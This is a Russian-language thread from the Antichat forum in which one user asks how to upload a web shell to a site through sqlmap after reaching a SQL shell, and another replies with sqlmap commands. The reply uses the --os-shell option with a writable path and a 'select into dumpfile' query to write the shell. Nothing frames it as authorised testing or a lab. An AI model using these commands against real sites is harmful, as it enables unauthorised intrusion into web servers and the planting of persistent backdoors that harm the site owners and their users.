Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   Песочница (https://forum.antichat.xyz/forumdisplay.php?f=189)
-   -   sqlmap shell (https://forum.antichat.xyz/showthread.php?t=472192)

Groove 04.08.2019 14:04

Подскажите как залить shell через sqlmap ?

Код:

Code:
sqlmap.py -u https://site.ru --random-agent -f --dbs --tables --sql-shell

Выдало

Код:

Code:
[12:59:52] [INFO] calling MySQL shell. To quit type 'x' or 'q' and press ENTER
sql-shell>

Что делать дальше? Если можно прям подробно )

BabaDook 04.08.2019 15:05

Цитата:

Сообщение от Groove
Groove said:

Подскажите как залить shell через sqlmap ?
Код:

Code:
sqlmap.py -u https://site.ru --random-agent -f --dbs --tables --sql-shell

Выдало
Код:

Code:
[12:59:52] [INFO] calling MySQL shell. To quit type 'x' or 'q' and press ENTER
sql-shell>

Что делать дальше? Если можно прям подробно )

Ну, первое sqlmap.py -u https://site.ru --random-agent os-shell дальше указываешь архитектуру, и путь до папки записи.

или если твой вариант sqlmap.py -u https://site.ru --random-agent --sql-shell "select into dumpfile '''путь до шелла'"


Время: 10:25